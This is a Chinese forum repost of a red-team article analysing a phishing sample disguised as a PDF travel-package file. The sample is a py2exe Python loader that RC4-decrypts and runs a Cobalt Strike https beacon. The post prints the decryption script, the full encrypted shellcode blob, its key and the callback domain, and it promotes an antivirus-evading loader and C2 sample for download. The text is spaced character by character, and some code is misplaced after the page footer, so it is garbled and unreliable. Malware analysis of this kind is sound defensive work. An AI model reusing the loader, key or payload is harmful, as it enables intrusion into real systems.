搜索

[26561] 2021-04-20_记一次Hvv红队样本的简单分析-文末附免杀shellcode加载器

文档创建者：s7ckTeam
浏览次数：256
最后更新：2025-01-19
2021-04-20_记一次Hvv红队样本的简单分析-文末附免杀shellcode加载器 记 一 次 H v v 红 队 样 本 的 简 单 分 析 - 文 末 附 免 杀 s h e l l c o d e 加 载 器 J 0 o 1 e y   M 7 8 安 全 团 队   2 0 2 1 - 0 4 - 2 0             温 馨 提 示             本 文 章 仅 供 学 习 交 流 使 用 ， 本 文 章 仅 供 学 习 交 流 使 用 ， 文 中 所 涉 及 的 技 术 、 思 路 和 工 具 仅 供 以 安 全 为 目 的 的 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 以 及 盈 利 等 目 的 ， 否 则 后 果 自 行 承 担 ！ 文 中 所 涉 及 的 技 术 、 思 路 和 工 具 仅 供 以 安 全 为 目 的 的 学 习 交 流 使 用 ， 任 何 人 不 得 将 其 用 于 非 法 用 途 以 及 盈 利 等 目 的 ， 否 则 后 果 自 行 承 担 ！ 感 谢 空 白 牛 在 感 谢 空 白 牛 在 H v v 期 间 的 帮 助 期 间 的 帮 助 ~ 邮 件 原 文 如 下 邮 件 原 文 如 下 解 压 后 得 到 样 本 X X 内 部 旅 游 套 餐 方 案 . p d f . e x e
样 本 为 大 小 为 5 . 8 8 M , H A S H 如 下 V T 报 毒   1 4 / 6 9 ， 免 杀 效 果 尚 可 ， 过 了 大 部 分 国 产 通 过 Y a r a 规 则 检 测 ， 为 典 型 的 C o b a l t s t r i k e   x 6 4   h t t p s   b e a c o n 载 荷 基 于 程 序 体 积 和 逆 向 后 获 取 到 的 函 数 判 断 该 恶 意 样 本 为 P y t h o n 编 写 的 s h e l l c o d e l o a d e r 加 载 C S   h t t p s   b e a c o n   X 6 4   s h e l l c o d e , 后 用 p y 2 e x e 程 序 封 装 成 e x e 程 序 M D 5 5 b c 3 2 9 7 3 b 4 3 5 9 3 2 0 7 6 2 6 c 0 5 8 8 f c 6 2 4 7 e S H A - 1 5 5 1 4 1 4 c b 2 8 3 a 5 6 c f 5 5 8 1 7 c 7 2 0 c 2 e f e e 0 1 4 4 e a 2 e d S H A - 2 5 6 d 1 2 e 8 5 2 e e e f a 8 7 e 7 5 c 7 8 7 6 f b 5 3 9 4 7 b 9 7 9 b f b f 8 8 0 e b 8 2 5 e b 5 8 b 9 f e 7 f 0 1 3 2 8 0 9 a d
对 该 程 序 进 行 逆 向 u n p y 2 e x e 逆 向 分 析 ， 取 得 其 源 码 分 析 得 出 该 恶 意 样 本 是 通 过 r c 4 算 法 解 密 b a s e 6 4 加 密 的 s h e l l c o d e 并 且 使 用 V i r t u a l A l l o c 开 辟 内 存 空 间 放 入 内 存 中 执 行 编 写 s h e l l c o d e 解 密 脚 本 i m p o r t   c t y p e s ,   u r l l i b ,   b a s e 6 4 ,   r e q u e s t s ,   h a s h l i b d e f   r c 4 ( t e x t ,   k e y ) : k e y   =   h a s h l i b . m d 5 ( k e y ) . h e x d i g e s t ( ) t e x t   =   b a s e 6 4 . b 6 4 d e c o d e ( t e x t ) r e s u l t   =   ' ' k e y _ l e n   =   l e n ( k e y ) b o x   =   l i s t ( r a n g e ( 2 5 6 ) ) j   =   0 f o r   i   i n   r a n g e ( 2 5 6 ) : j   =   ( j   +   b o x [ i ]   +   o r d ( k e y [ ( i   %   k e y _ l e n ) ] ) )   %   2 5 6 b o x [ i ] ,   b o x [ j ]   =   b o x [ j ] ,   b o x [ i ] i   =   j   =   0 f o r   e l e m e n t   i n   t e x t : i   =   ( i   +   1 )   %   2 5 6 j   =   ( j   +   b o x [ i ] )   %   2 5 6 b o x [ i ] ,   b o x [ j ]   =   b o x [ j ] ,   b o x [ i ] k   =   c h r ( e l e m e n t   ^   b o x [ ( ( b o x [ i ]   +   b o x [ j ] )   %   2 5 6 ) ] ) r e s u l t   + =   k r e t u r n   r e s u l t b   =   ' 2 4 L f U 1 4 0 d 7 1 x 8 N G 7 8 Y 7 9 R F N X R J a n R O R J M e Y H Y u s d r d t h A 5 z e 2 q 9 s x 7 g E Z U t r p y s R 9 E k z x P 5 s N b h A 9 s H Y 2 Q C J 0 1 4 r V 3 Y n u m b f g 1 m G e 8 7 M / k m l A b d 9 3 F C 0 v 1 3 P I + m B O i D E 5 P l t 9 w q i b 1 s r O u d H M S 6 P Y 7 9 V 1 4 j w a F 5 R T o 5 Q 7 6 F c u Y A g 5 v W y j U 4 w m q u S k n l f 3 D a N 0 / Y p O u C n + q L i P 8 A l C Y y y 1 j / 8 W z g V W 8 7 N d y z E O 2 H P 5 H Z W f i 0 B i R X k 8 q o p N 8 q M Z j m l t u E / F f g S z a 4 1 2 H w M 6 d 5 v U 7 w u k i 4 R 5 w 3 e 2 d z B S C Q 6 H S m S X c / r j K P L w k X h n K b l z a u a n H Q Q U p r U 4 3 e J 6 A 3 F M L P y B w U U m X i E 8 4 r 0 p D 0 s R / Y N B p I + x p a y W R a / 3 h n W W a Y A Z N h Z 5 I 8 2 v 2 g U K 1 P 0 I Q y X y L B H j G Q e j F p t r Z Q E + 5 t 2 m J g O a I v + k g i l C d H R 7 U s I y S 3 C D L l z X / 2 4 1 f 6 f m T U C T X o n 6 8 G e y 0 b x 3 B Y d M j I w p d C q x B B q J x y F N N q N h P Y g Q G W U Z 1 / G c G K 4 I N 3 + z F b S / Q + X 8 Q Q W 2 n 9 + r / l W / B A F F 9 b Z b Q T G P t t 9 G P f Q N R O b g y + u c b R k S / L n + T Z p x T t z W 8 p P m U d M t W 1 / t q 1 B H s n e x w n R z y J e T E b T T O y v x j + u G 0 K G L f X M X 9 U b A n N H k N y h s / u P E K v B 7 W v 9 8 F H m S 8 F 0 f o k Z Q C B r v 4 x w E 1 b 0 f s B i q 5 1 t + i 8 l s + d f T y h d A C 9 t k k Q S 1 j 5 H n S X i F 4 S P / e w 3 d I S q o L p 6 g d s 6 r + X h T 1 a L M Q X m l n x 8 f 7 s + e U w 9 p y d X i G 5 V m B j V 8 d / 2 A G s M u h 7 Z L T s s X i 5 b g S L / U 5 S 9 D / d Y t 2 U 0 O 3 O + U h m U E 7 8 P P n 5 a H X + o g m u X e s n 5 A f n I t Z 7 F 6 6 / c n e K w c s d n U q K t W i W 0 S V H d 7 5 Q T U + b n l I E g C E 9 i T q y 2 M Z D P C e q G a w x z 2 8 H 3 R G n C i v K / 4 8 + 7 j P H E g N M m V 7 X 5 F F t n C S n u w D h y D S r 6 a I T 8 2 C t 8 k 7 h o D u O S a P l 0 0 g T I 2 t T 5 N l h O t + 4 x e p y a 0 z y K / O s 3 R + P 0 t o b g 0 h i S t 6 P h C 6 R i p h k z C 8 m t + 1 a 1 A T q L n I o C 7 a w 0 I / e G D a c g B X U w h S D N O K 5 2 f q 3 G n U Z o T B O f W d H X s 6 7 q F 2 t Q 2 q E i p N c I 2 9 g i c t 6 k Z I w g w u t 6 s K 8 F 5 R + n j G d t U x e i d h 9 g 7 t p h Q Y O i f v F z z Q 5 p 7 8 h 2 H S B 6 g / y E T L Z k s R 7 x I O K Y K I L m 5 I k a U 0 j M + q I 9 I K h 9 + g j J X B c H P t G g m z D z F L d M 2 O b D r 2 v D F R D V y l X V f U a G n Z 4 K m C N 4 S n 6 0 W R S g H 2 S M j b L 1 1 w K P Q 3 H 0 d D Z 7 A s I D g s k m a Z a 1 f / 0 2 J Y d i V A J F 2 3 7 9 m p E Q a / M 8 9 Y p D E B V z l J R b 8 i k w 3 O N 9 P n H 3 z w 4 c v v s 3 u L j p f r V 3 z i 5 C P g C I a 9 u 0 D l E 8 a E s u L t F P s z J A / Q + p Q J T g H k 1 m t 3 3 M p Q z D o / z C R A s C Q 7 / S j C a 8 E T E C b v X r r O r C 6 g s E B r m T e R G z G O S 2 f x s x c 2 F B 5 8 5 N Z X K H N W r w g 6 I S 4 m y D W j T K U M y 9 G W y y 8 z d 9 h x v X y z N L K f Z A N Z 2 w n l S g p z Y V b 8 A j 8 L n 6 c x C k + V K X h 7 z W c 7 J A + m D 6 G T 2 d 9 Y / n 3 a 1 R K g E Y i / g t p w A P A W x h C i Z s B e q f g t X 9 M F t v 8 A R / Y U 3 g 8 V w R L s w s J U o 8 i H w x 9 / R H t U G v k c z L n p h k Q p J m u y V H b + s t P k Z c 8 2 w i U w 6 3 S X 8 v a 2 m A n H c o O V W 1 d i 9 H L Q H w x K H K V P Q = ' m m   =   ' k i n g 6 6 6 6 ' c   =   r c 4 ( b ,   m m . e n c o d e ( ' u t f - 8 ' ) )
得 到 其 s h e l l c o d e 回 连 地 址 为 w w w . a l i b a b a b a a . c o m 为 典 型 的 c o b a l t s t r i k e   h t t p s   x 6 4   b e a c o n   s h e l l c o d e 至 此 ， 分 析 结 束 ， 后 期 跟 进 溯 源 反 制 处 理 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 福 利 ： 文 中 使 用 的 免 杀 S h e l l c o d e 加 载 器 以 及 C 2 样 本 ， 回 复 P y t h o n _ l o a d e r 即 可 获 得 下 载 链 接 ~ 关 注 我 们 关 注 我 们 一 线 渗 透 测 试 、 红 队 技 术 文 章 有 你 好 看 ！ 一 线 渗 透 测 试 、 红 队 技 术 文 章 有 你 好 看 ！ 往 期 推 荐     记 一 次 . N e t 代 码 审 计 - 通 过 m a c h i n e K e y 伪 造 任 意 用 户 身 份                           [ 文 末 资 源 ] 记 一 次 “ 移 花 接 木 ” 的 g e t s h e l l 之 旅 c o d e   =   b y t e a r r a y ( b a s e 6 4 . b 6 4 d e c o d e ( c ) ) p r i n t ( c o d e )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理